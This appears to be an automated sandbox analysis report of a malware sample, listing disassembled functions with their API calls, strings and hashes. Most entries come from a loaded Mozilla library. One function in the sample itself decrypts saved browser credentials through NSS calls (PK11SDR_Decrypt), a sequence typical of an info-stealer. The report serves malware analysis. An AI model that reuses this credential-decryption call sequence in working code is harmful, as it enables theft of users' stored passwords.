API String ID: 776569668-0
Opcode ID: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction ID: 5df7b21d12798ad2dd02b2714939a7e9e3589bb161cd2ca89e36415dbd51ea28
Opcode Fuzzy Hash: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction Fuzzy Hash: AE71E331494B009BD7633B32DD03ADA7AB27F04304F10596EB1FB20632DA3678E79A59

Uniqueness

Uniqueness Score: -1.00%

Function 6CD055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CCDE1A5), ref: 6CD05606
LoadLibraryW.KERNEL32(gdi32,?,6CCDE1A5), ref: 6CD0560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CD05633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CD0563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CD0566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CD0567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CD05696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CD056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CD056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CD056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CD056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CD05716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CD0572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CD05748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CD05761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CD0577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CD05793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CD057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CD057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CD057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CD057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CD057FF

Strings

ShowWindow, xrefs: 6CD056DE
LoadCursorW, xrefs: 6CD05774
MonitorFromWindow, xrefs: 6CD0578D
FillRect, xrefs: 6CD05729
CreateWindowExW, xrefs: 6CD056C5
LoadIconW, xrefs: 6CD0575B
CreateSolidBrush, xrefs: 6CD057E4
GetSystemMetricsForDpi, xrefs: 6CD05677
GetWindowDC, xrefs: 6CD05710
SetWindowLongPtrW, xrefs: 6CD057B7
DeleteObject, xrefs: 6CD057F9
StretchDIBits, xrefs: 6CD057CC
user32, xrefs: 6CD05601
AreDpiAwarenessContextsEqual, xrefs: 6CD05637
EnableNonClientDpiScaling, xrefs: 6CD05666
ReleaseDC, xrefs: 6CD05742
gdi32, xrefs: 6CD0560A
GetThreadDpiAwarenessContext, xrefs: 6CD0562D
RegisterClassW, xrefs: 6CD056AC
GetMonitorInfoW, xrefs: 6CD057A2
GetDpiForWindow, xrefs: 6CD05690
SetWindowPos, xrefs: 6CD056F7

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 6c40e85c9e356d0a109a0bfb2b6659383c5f42398d07758c5e2588d08e128587
Instruction ID: 772829626220d32cbb83158c142da99c1b4ba6e35a12fe3b23531893321c35d5
Opcode Fuzzy Hash: 6c40e85c9e356d0a109a0bfb2b6659383c5f42398d07758c5e2588d08e128587
Instruction Fuzzy Hash: 50514271705312AFFB019F398D449267ABCBF062457144829AF12E3AA5FB7CD8048F68

Uniqueness

Uniqueness Score: -1.00%

Function 6CCECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CCB582D), ref: 6CCECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CCB582D), ref: 6CCECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD1FE98,?,?,?,?,?,6CCB582D), ref: 6CCECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CCB582D), ref: 6CCECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CCB582D), ref: 6CCECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CCB582D), ref: 6CCECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCB582D), ref: 6CCECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CCECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CCECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CCECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CCECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CCECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CCECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CCECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CCECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CCECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CCECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CCECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CCECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CCECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CCECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CCECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CCECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CCECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CCECE8A

Strings

notimerresolutionchange, xrefs: 6CCECE00
power, xrefs: 6CCECE84
cpuallthreads, xrefs: 6CCECE16
mainthreadio, xrefs: 6CCECC7C
unregisteredthreads, xrefs: 6CCECE58
jsallocations, xrefs: 6CCECD0E
Unrecognized feature "%s"., xrefs: 6CCECEA0
screenshots, xrefs: 6CCECCD4
processcpu, xrefs: 6CCECE6E
noiostacks, xrefs: 6CCECCBE
default, xrefs: 6CCECC21
samplingallthreads, xrefs: 6CCECE2C
seqstyle, xrefs: 6CCECCE6
markersallthreads, xrefs: 6CCECE42
preferencereads, xrefs: 6CCECD92
fileio, xrefs: 6CCECC92
fileioall, xrefs: 6CCECCA8
audiocallbacktracing, xrefs: 6CCECDD4
leaf, xrefs: 6CCECC66
java, xrefs: 6CCECC37
nativeallocations, xrefs: 6CCECDA8
ipcmessages, xrefs: 6CCECDBE
nostacksampling, xrefs: 6CCECD7C
stackwalk, xrefs: 6CCECCF8

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 1dea7fcfd5f0a62a5b8c5c88f3337be87c5e8859725f7350af67a81d337252dc
Instruction ID: be6787a5102756c3711dd68addd1a0abd1b326e4c08fa8ca503dbd9be557aa4a
Opcode Fuzzy Hash: 1dea7fcfd5f0a62a5b8c5c88f3337be87c5e8859725f7350af67a81d337252dc
Instruction Fuzzy Hash: 4851EBD1A0926512FB0433167D20BEA2C45FF9B24AF10547AEE09A1FA0FF1AE71D45B7

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCB4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CCB44B2,6CD2E21C,6CD2F7F8), ref: 6CCB473E
Part of subcall function 6CCB4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CCB474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CCB44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CCB44D2
InitOnceExecuteOnce.KERNEL32(6CD2F80C,6CCAF240,?,?), ref: 6CCB451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CCB455C
LoadLibraryW.KERNEL32(?), ref: 6CCB4592
InitializeCriticalSection.KERNEL32(6CD2F770), ref: 6CCB45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CCB45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CCB45BB
InitOnceExecuteOnce.KERNEL32(6CD2F818,6CCAF240,?,?), ref: 6CCB4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CCB4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CCB4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CCB466D
VerSetConditionMask.NTDLL ref: 6CCB469F
VerSetConditionMask.NTDLL ref: 6CCB46AB
VerSetConditionMask.NTDLL ref: 6CCB46B2
VerSetConditionMask.NTDLL ref: 6CCB46B9
VerSetConditionMask.NTDLL ref: 6CCB46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CCB46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CCB46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CCB46FD

Strings

WRusr.dll, xrefs: 6CCB44B5
l, xrefs: 6CCB4578
kernel32.dll, xrefs: 6CCB44CD
NativeNtBlockSet_Write, xrefs: 6CCB46F7
user32.dll, xrefs: 6CCB4557, 6CCB463F

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: cd22e8f891bb3e5dc87979dea50fd8854d094f155b0c79c844312a65821ae5c5
Instruction ID: 17f442c613907e1cf8e7ef9c6cafac9b22b8c766fa5c424b6243a7b203f2a474
Opcode Fuzzy Hash: cd22e8f891bb3e5dc87979dea50fd8854d094f155b0c79c844312a65821ae5c5
Instruction Fuzzy Hash: 6D61E7B0604254AFFB10DFA1C809B95B7BCEF4630CF048958E745ABA91E7B89949CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCB4A68), ref: 6CCE945E
Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCE9470
Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCE9482
Part of subcall function 6CCE9420: __Init_thread_footer.LIBCMT ref: 6CCE949F

GetCurrentThreadId.KERNEL32 ref: 6CCEF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CCEF8F9

Part of subcall function 6CCB6390: GetCurrentThreadId.KERNEL32 ref: 6CCB63D0
Part of subcall function 6CCB6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CCB63DF
Part of subcall function 6CCB6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CCB640E

ReleaseSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEF93A
GetCurrentThreadId.KERNEL32 ref: 6CCEF98A
GetCurrentThreadId.KERNEL32 ref: 6CCEF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCEF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCEF716

Part of subcall function 6CCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CCE94EE
Part of subcall function 6CCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CCE9508

Part of subcall function 6CCAB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CCAB5E0

GetCurrentThreadId.KERNEL32 ref: 6CCEF739
AcquireSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEF746
GetCurrentThreadId.KERNEL32 ref: 6CCEF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD2385B,00000002,?,?,?,?,?), ref: 6CCEF829
free.MOZGLUE(?,?,00000000,?), ref: 6CCEF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CCEF866
free.MOZGLUE(?), ref: 6CCEFA0C

Part of subcall function 6CCB5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCB55E1), ref: 6CCB5E8C
Part of subcall function 6CCB5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCB5E9D
Part of subcall function 6CCB5E60: GetCurrentThreadId.KERNEL32 ref: 6CCB5EAB
Part of subcall function 6CCB5E60: GetCurrentThreadId.KERNEL32 ref: 6CCB5EB8
Part of subcall function 6CCB5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCB5ECF
Part of subcall function 6CCB5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CCB5F27
Part of subcall function 6CCB5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CCB5F47
Part of subcall function 6CCB5E60: GetCurrentProcess.KERNEL32 ref: 6CCB5F53
Part of subcall function 6CCB5E60: GetCurrentThread.KERNEL32 ref: 6CCB5F5C
Part of subcall function 6CCB5E60: GetCurrentProcess.KERNEL32 ref: 6CCB5F66
Part of subcall function 6CCB5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CCB5F7E

free.MOZGLUE(?), ref: 6CCEF9C5
free.MOZGLUE(?), ref: 6CCEF9DA

Strings

Thread , xrefs: 6CCEF789
[D %d/%d] profiler_register_thread(%s), xrefs: 6CCEF71F
" attempted to re-register as ", xrefs: 6CCEF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CCEF9A6

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: bb5d0df9d2374d82f8fa5ce8b73bffa21fa6bbe0900a673140a48ee002964f5e
Instruction ID: 442f7c6c03230da090f804bd564184793f7b34b2b227a5eae662259709a74dff
Opcode Fuzzy Hash: bb5d0df9d2374d82f8fa5ce8b73bffa21fa6bbe0900a673140a48ee002964f5e
Instruction Fuzzy Hash: 428147716047049FE710DF24D440AAAB7F9FF8A308F40452DEA459BB51FB35E849CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0040C100 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C112

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,042C62E0,00000000,?,0041DBAC,00000000,?,?), ref: 0040C1D6
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C1F3
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C1FF
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C212

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C242
StrStrA.SHLWAPI(?,042C6220,0041D72E), ref: 0040C260
StrStrA.SHLWAPI(00000000,042C6400), ref: 0040C287
StrStrA.SHLWAPI(?,042C69F8,00000000,?,0041DBB8,00000000,?,00000000,00000000,?,042C38B8,00000000,?,0041DBB4,00000000,?), ref: 0040C405
StrStrA.SHLWAPI(00000000,042C6B18), ref: 0040C41C

Part of subcall function 0040BF90: memset.MSVCRT ref: 0040BFC3
Part of subcall function 0040BF90: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,042C3758), ref: 0040BFE1
Part of subcall function 0040BF90: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
Part of subcall function 0040BF90: PK11_GetInternalKeySlot.NSS3 ref: 0040BFFA
Part of subcall function 0040BF90: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C015
Part of subcall function 0040BF90: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C05B
Part of subcall function 0040BF90: memcpy.MSVCRT ref: 0040C082
Part of subcall function 0040BF90: PK11_FreeSlot.NSS3(?), ref: 0040C0D1

StrStrA.SHLWAPI(?,042C6B18,00000000,?,0041DBBC,00000000,?,00000000,042C3758), ref: 0040C4BD
StrStrA.SHLWAPI(00000000,042C37A8), ref: 0040C4D4

Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

lstrlen.KERNEL32(00000000), ref: 0040C5A7
CloseHandle.KERNEL32(00000000), ref: 0040C5F9
NSS_Shutdown.NSS3 ref: 0040C607

Strings

, xrefs: 0040C133

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmallocmemcpymemset
String ID:
API String ID: 2844179199-3916222277
Opcode ID: 44fef13302315162d7e32ba14433b518de5c58a6dfc62e842c65371e6c7da01b
Instruction ID: 16cc530deb27457f536659a64f134916331f5af867ee6c6bf2a367595298ef92
Opcode Fuzzy Hash: 44fef13302315162d7e32ba14433b518de5c58a6dfc62e842c65371e6c7da01b
Instruction Fuzzy Hash: 66E11075910208ABCB14EBA1DC91FEEBB79BF54304F41415EF10667191DF38AA86CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCA31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CCA3217
Part of subcall function 6CCA31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CCA3236
Part of subcall function 6CCA31C0: FreeLibrary.KERNEL32 ref: 6CCA324B
Part of subcall function 6CCA31C0: __Init_thread_footer.LIBCMT ref: 6CCA3260
Part of subcall function 6CCA31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CCA327F
Part of subcall function 6CCA31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCA328E
Part of subcall function 6CCA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CCA32AB
Part of subcall function 6CCA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CCA32D1
Part of subcall function 6CCA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CCA32E5
Part of subcall function 6CCA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CCA32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CCB9675
__Init_thread_footer.LIBCMT ref: 6CCB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CCB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CCB9707
__Init_thread_footer.LIBCMT ref: 6CCB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CCB9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CCB97B7
FreeLibrary.KERNEL32 ref: 6CCB97D0
FreeLibrary.KERNEL32 ref: 6CCB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CCB9824

Strings

NtMapViewOfSection, xrefs: 6CCB9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CCB9670
ntdll.dll, xrefs: 6CCB96E3
MapViewOfFileNuma2, xrefs: 6CCB97B1

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 14ce61ec87915d545e3765505592ed539bc251be4f00e26866d028c8ca1ad207
Instruction ID: 51f79aee45a424665d2b5cf32a24c839a65eb3169a2318fea0143be7cb9aa7e8
Opcode Fuzzy Hash: 14ce61ec87915d545e3765505592ed539bc251be4f00e26866d028c8ca1ad207
Instruction Fuzzy Hash: 9B61E771600315ABEF00DFA5D884B9A7BB8FB8A314F104919EF55A7790E738E848CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040FAE0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 145stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 0040FB05
ExitProcess.KERNEL32 ref: 0040FB11
strtok_s.MSVCRT ref: 0040FB28

Strings

block, xrefs: 0040FAF7

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 8259de89bfbde49ab53180d3e810b9deec6107944c9e036c38e8419895e02503
Instruction ID: 7825bcbe27da9618b603611e1cfecd621835b499ad6dca7fa43ef563d7fd58f0
